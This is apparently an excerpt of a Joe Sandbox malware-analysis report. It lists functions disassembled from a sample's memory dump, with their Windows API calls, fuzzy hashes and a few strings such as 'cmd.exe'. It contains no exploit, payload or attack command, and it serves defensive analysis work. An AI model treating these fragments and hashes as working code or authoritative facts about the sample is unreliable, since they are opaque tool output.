Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateErrorLastProcess
String ID:
API String ID: 2919029540-0
Opcode ID: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
Instruction ID: fcc055d8c1a696a2a0db1e32a085008d871673fec5534948229a16d4440eefa6
Opcode Fuzzy Hash: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
Instruction Fuzzy Hash: A2113C72600208AF8B40DEA9DD41D9F77ECEB4E310B114567FD18D3241D678EE148B68

Function 0040ADD8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040ADF2
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040AF4F,00000000,0040AF67,?,?,?,00000000), ref: 0040AE03

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: 724046dbf40c25189cee710f776ecaa222692b14a71540f68148777f5d1b7dbd
Instruction ID: 3d7a77417cef7b3885e8747e4544195f2de945da78ee84bb1155330bb8f828e3
Opcode Fuzzy Hash: 724046dbf40c25189cee710f776ecaa222692b14a71540f68148777f5d1b7dbd
Instruction Fuzzy Hash: 0301F771300700AFD700FF69EC52E1B77EDDB46714710807AF500AB3D1D639AC10966A

Function 0041EEA4 Relevance: 3.0, APIs: 2, Instructions: 49threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041EEF3
EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Thread$CurrentEnumWindows
String ID:
API String ID: 2396873506-0
Opcode ID: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
Instruction ID: bcaa23655132f8f2785c0a842f21b48ac99b37e3223c43442b01e3940dbd0cdf
Opcode Fuzzy Hash: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
Instruction Fuzzy Hash: 31015B76A04604BFD706CF6BEC1199ABBE8E789720B22887BEC04D3690E7355C10DF18

Function 00452C80 Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00452CC2
GetLastError.KERNEL32(00000000,00000000,00000000,00452CE8), ref: 00452CCA

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorFileLastMove
String ID:
API String ID: 55378915-0
Opcode ID: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
Instruction ID: 1f9035ddd188b097fe3d15476f32cd7793c58c8f4df07880d9fc6ba60e4ff235
Opcode Fuzzy Hash: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
Instruction Fuzzy Hash: 9401D671A04208AB8712EB799D4149EB7ECEB8A32575045BBFC04E3243EA785E048558

Function 00452770 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527A9
GetLastError.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527B1

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 6f9ba9aa6754c9e5f92aa980ec9340f602ab7068810135e8d813bbe39961caa9
Instruction ID: e3b373b60118a844676bb749001e6832c3b26a50706decb61b3ae2e0e224b701
Opcode Fuzzy Hash: 6f9ba9aa6754c9e5f92aa980ec9340f602ab7068810135e8d813bbe39961caa9
Instruction Fuzzy Hash: 40F02871A00308BBCB01EF759D4259EB7E8EB4E311B2045B7FC04E3642E6B94E04859C

Function 0042323C Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 00423249
LoadCursorA.USER32(00000000,00000000), ref: 00423273

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
Instruction ID: 5e34cf6406f075c2c63d733b1f02ef4b9a88184ee1572dc0f3c8875cc615d59b
Opcode Fuzzy Hash: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
Instruction Fuzzy Hash: 9EF0A711B04254AADA109E7E6CC0D6B72A8DF82735B61037BFA3EC72D1C62E1D414569

Function 0042E394 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E39E
LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
Instruction ID: 14c2566281f292fbf4bc3f3871eddb8f7eb4f11f4d1149329263d7d1c8790498
Opcode Fuzzy Hash: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
Instruction Fuzzy Hash: 02F08970B147447FDB119F779CA241BBBECDB49B1175249B6F800A3591E53C4910C928

Function 0047C37B Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00499D2C,00008000,00000000,?), ref: 0047C38B
CoTaskMemFree.OLE32(?,0047C3CE), ref: 0047C3C1

Strings

\Program Files, xrefs: 0047C24B
Common Files, xrefs: 0047C295
ProgramFilesDir, xrefs: 0047C224, 0047C2AB
COMMAND.COM, xrefs: 0047C40D
Failed to get path of 64-bit Common Files directory, xrefs: 0047C2FC
cmd.exe, xrefs: 0047C3EC
CommonFilesDir, xrefs: 0047C25E, 0047C2DA
Failed to get path of 64-bit Program Files directory, xrefs: 0047C2CD
SystemDrive, xrefs: 0047C1C3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FolderFreeKnownPathTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 969438705-544719455
Opcode ID: f6c6a059b63e4d54008f1ffce5751a4521167e095c9041d7631769de42763c2c
Instruction ID: 7faaca218829a84c9f3570f99a5fa1a3454177a5e5567d2e8256f64c4bc7b3ab
Opcode Fuzzy Hash: f6c6a059b63e4d54008f1ffce5751a4521167e095c9041d7631769de42763c2c
Instruction Fuzzy Hash: 77E09B31340604AFEB219B619C92B6D77ACE744B00B718477F900E26C0D67CAD14991C

Function 004508F8 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,0046FFBD,?,00000000), ref: 0045090E
GetLastError.KERNEL32(?,00000000,?,00000002,?,?,0046FFBD,?,00000000), ref: 00450916

Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,0049799C,00000001,00000000,00000002,00000000,00497AFD,?,?,00000005,00000000,00497B31), ref: 004506B7

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
Instruction ID: 32d43412562f4d6ab64aa8be608e77008e370c57458e4df53f7444e76f76d0cb
Opcode Fuzzy Hash: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
Instruction Fuzzy Hash: 0EE012E93042015BF700EA6599C1B2F22DCDB44315F00446ABD44CA28BE678CC048B29

Function 004014E4 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
Instruction ID: 119661fe7174a079321c86e78af40791ac039b5eb8373b45468023a5ba433726
Opcode Fuzzy Hash: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
Instruction Fuzzy Hash: F7F08272A0063067EB60596A4C81B5359859BC5B94F154076FD09FF3E9D6B58C0142A9

Function 004085DC Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408712), ref: 004085FB

Part of subcall function 00406DEC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406E09

Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
Instruction ID: 9026c6f0acc6bf601755118861b832b1e3c4c92574a9a05948c89544872af2a3
Opcode Fuzzy Hash: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
Instruction Fuzzy Hash: 47314E35E00109ABCB00EB55CC819EEB779EF84314F558577E815BB286EB38AA018B98

Function 0041FB9C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FC39

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
Instruction ID: 6365c2cd079840e4170b7c9ce409c3d873e807bce8729d2e10e5c00059922083
Opcode Fuzzy Hash: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
Instruction Fuzzy Hash: D8214FB1608746AFC351DF3984407A6BBE4BB48344F14893EE498C3741E778E99ACBD6

Function 0046C2C4 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9

SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,0046C322,?,00000000,?,?,0046C534,?,00000000,0046C5A8), ref: 0046C306

Part of subcall function 0041EF58: IsWindow.USER32(?), ref: 0041EF66
Part of subcall function 0041EF58: EnableWindow.USER32(?,00000001), ref: 0041EF75

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ThreadWindow$CurrentEnableEnumPathPrepareWindowsWrite
String ID:
API String ID: 3319771486-0
Opcode ID: 372a16360b70271e3fbe54b3c8c2dd1bf1f72266d056807abca4c83ddb60c27c
Instruction ID: ca087fa44df162080e90021c0b7c07397410ce2cdc620b11c20c1b42f9b7769a
Opcode Fuzzy Hash: 372a16360b70271e3fbe54b3c8c2dd1bf1f72266d056807abca4c83ddb60c27c
Instruction Fuzzy Hash: 93F0B470204300BFEB059FA6ED96B2576D8D748714FA1443BF904C6290E57D5880852E

Function 00441394 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 004413AB

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: 51b66c86ab1fb2ed9abdb0db83839a26410808368eb32e0cb4295e2ee82716ff
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: 09F04970608109EBBB1CCF58D0618AF7BA0EB48300F2080AFE907C7BA0D634AA80D658

Function 00416550 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 00416585

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
Instruction ID: 158b8484bb218b41c698b3aa21f26e2dd86497bc01e640ef524e7c8f4c0ee3c6
Opcode Fuzzy Hash: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
Instruction Fuzzy Hash: 4BF019B2200510AFDB84DE9CD9C0F9773ECEB0C210B0481A6FA08CB21AD220EC108BB0

Function 004149B4 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 004149EF

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Function 004507C4 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00450804

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
Instruction ID: 52eb814c7c241dc182afdc6c3e242d4e4c9a4e6d94000e289351c80ae23ff87c
Opcode Fuzzy Hash: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
Instruction Fuzzy Hash: 53E012B53541483EE780EEAD6C42F9777DC971A714F008037B998D7341D461DD158BA8

Function 0042CCCC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0042CD14,?,00000001,?,?,00000000,?,0042CD66,00000000,00452A25,00000000,00452A46,?,00000000), ref: 0042CCF7

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
Instruction ID: d3c11148bbbe1678040d416a6bc301cfea82702c80b798926358c5e84281cc0e
Opcode Fuzzy Hash: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
Instruction Fuzzy Hash: 80E065B1304304BFD701EB66EC92A5EBAACDB49754BA14876B50097592D5B86E008468

Function 0042E8C8 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
Instruction ID: fbc307da5c1359fbfbc351051067b699ae1438aedf6613c80dda169529e76e7e
Opcode Fuzzy Hash: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
Instruction Fuzzy Hash: BCE0206278431116F2353416AC47B77150E43C0708F944027BB90DF3D3D6AF9945D25E

Function 0041AF70 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

